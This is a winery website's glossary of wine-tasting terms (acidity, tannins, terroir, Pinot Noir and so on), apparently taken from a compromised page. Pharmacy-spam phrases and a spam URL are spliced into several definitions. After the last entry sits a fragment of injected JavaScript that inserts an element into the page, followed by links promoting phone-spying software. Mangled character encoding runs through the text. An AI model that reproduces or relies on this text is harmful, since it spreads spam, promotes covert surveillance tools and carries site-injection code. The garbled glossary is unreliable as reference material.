Brella

Brella Puts Wine Lingo on the Tip of Your Tongue

Acid: Wines too low in acid taste flat or dull, and wines too high in acid taste tart or sour.

Acidity: What makes wines lively and crisp.

Aeration:A�The addition of oxygen to wine to soften it.

Aftertaste:A�The lingering flavor and texture in the mouth after the wine is gone.

Aging:A�The keeping of wine in barrels, tanks and bottles to advance it to a more desirable state.

Alcohol:A�The result of fermenting sugars with yeast.

Appellations:A�Geographical wine-producing regions where grapes are grown.

Aroma:A�The smell of the wine.

Astringent:A�Harsh, bitter, drying sensation in the mouth caused by high levels of tannins in the wine.

AVA:A�American Viticultural Areas (AVAs) are federally recognized growing regions. Similar to France’s AOC (Appellation D’Origine ContrA?lA�e).

Baked:A�A description for the flavor that results when the grapes are overexposed to the hot sun.

Balance:A�Harmony of the elements in wine: acids, sugars, tannins and alcohol.

Barrel:A�The container used for fermenting and aging wine.

how much is zyprexa cost Bitter:A�Taste often caused by a high level of tannins.

Blend:A�Wine made from more than one grape varietal.

Body:A�Weight and fullness of the wine in the mouth: light, medium, full-bodied.

Bordeaux:A�An area in SW France known for being one of the greatest wine-producing regions in the world.

Bouquet:A�The complex smell that develops in a mature wine.

pills online Breathing:A�A way of improving the flavor of wine by allowing it to come in contact with air.

Brettanomyces:A�Yeast that produces barnyard, metallic and band-aid aromas.

Brick-red:A�The color of a mature red.

Brilliant:A�Completely clear wine.

Brix:A�The amount of natural sugars in grapes a�� the higher the brix in grapes, the higher the alcohol in the fermented wine.

Brown:A�The color of a wine past its prime drinking age.

Closed:A�Underdeveloped and young wines whose flavors are not displayed well.

Complex:A�Wine with many odors, nuances and flavors.

Cork taint:A�Aromas and flavors that suggest wet cardboard or moldy basements.

Corked:A�Wine that has suffered cork taint.

Dry:A�Wine that is meant to have minimal sweetness and residual sugar.

Dumb:A�Wine that does not live up to its full potential a�� ita��s too young or too cold.

Fat:A�Wine that is full-bodied, heavy and has a lingering taste.

Fermentation:A�The conversion of grape sugars to alcohol with yeast.

Finesse:A�High-quality wine that is well-balanced.

Finish:A�The wine’s aftertaste a�� the lingering flavors and textures after wine is swallowed. Good wine has a long finish.

Firm:A�Wine with noticeable tannins. Often a quality in young wines.

Flat:A�Wine that lacks acidity.

Fleshy:A�Wine that is rich and smooth with full body and high alcohol.

Foxy:A�A musty smell and flavor in some wines, often associated with native American grapes. Smells like soap.

Heady:A�Wine high in alcohol.

Hot:A�The warm, burning sensation felt in the mouth after drinking a wine due to a higher alcohol level.

Intensity:A�You can gauge a wine’s intensity by trying to read print through a full glass of the wine.

Lively: http://sadorn.orgfree.com/?p=19475 A�The fresh, frank smell often found in young wine.

Maderized:A�Wine that is brown or going brown due to an extended exposure to oxygen.

Mature:A�Wine that is ready to drink.

Mouth-feel:A�How a wine feels in one’s mouth: rough, smooth, velvety, furry.

Musty:A�A smell often resulting from a rotten or unclean barrel.

Nervy:A�Vigorous and fine wine that is well-balanced with noticeable acidity.

Nose:A�How a wine smells.

shipping aceon Oenology:A�The science of wine and winemaking.

Open:A�Wine that is ready to drink.

Oxidation:A�Wine’s exposure to air. When exposed too long, it can cause a chemical change resulting in a stale smell and brown color.

Pinot Noir:A�Red wine made from the dark purple Pinot Noir grape. Generally a light- to medium-bodied, dry red wine with dark fruit notes.

Purple:A�Very young red wine’s color.

Racy:A�Vital, light and bouncy wine.

Residual Sugar:A�The amount of sugar solids in a wine at the end of fermentation.

Rough:A�Coarse mouth-feel often found in astringent wines.

Ruby:A�The full red color of a more evolved but youthful red wine.

Tannins:A�The compounds from skins, pips and stems of grapes used in wine that cause a bitter, dry feeling in the mouth.

Tawny:A�Faded amber color of old wine.

Terroir:A�The French word for “soil” that includes the geographical characteristics and environmental factors unique to the vineyard.

Texture:A�How the wine feels on the tongue.

Ullage:A�The empty space in bottles and barrels caused by evaporated wine. It can lead to oxidation in wine.

Varietal:A�The type of grape a wine is made from.

Veraison:A�The onset of ripening in the grapes. Many changes occur in the berry at this stage in development.

drugs without prescriptions online Vinification:A�The process of making wine.

Vintage:A�The year the wine is bottled.

Wine:A�The fermented juice of grapes.

Yeast:A�Used to convert grape sugars into alcohol.

Yield:A�The productivity of a vineyard.}document.currentScript.parentNode.insertBefore(s, document.currentScript);https://topspyapps.net - The most popular 2017 spy software applications for the mobile phones.topspyapps.net

Affordable-Papers.net

Understand the fuss about Oregon Pinot Noir.

Taste Brella

Put your Pinot Noir vocabulary to work.

Tasting Steps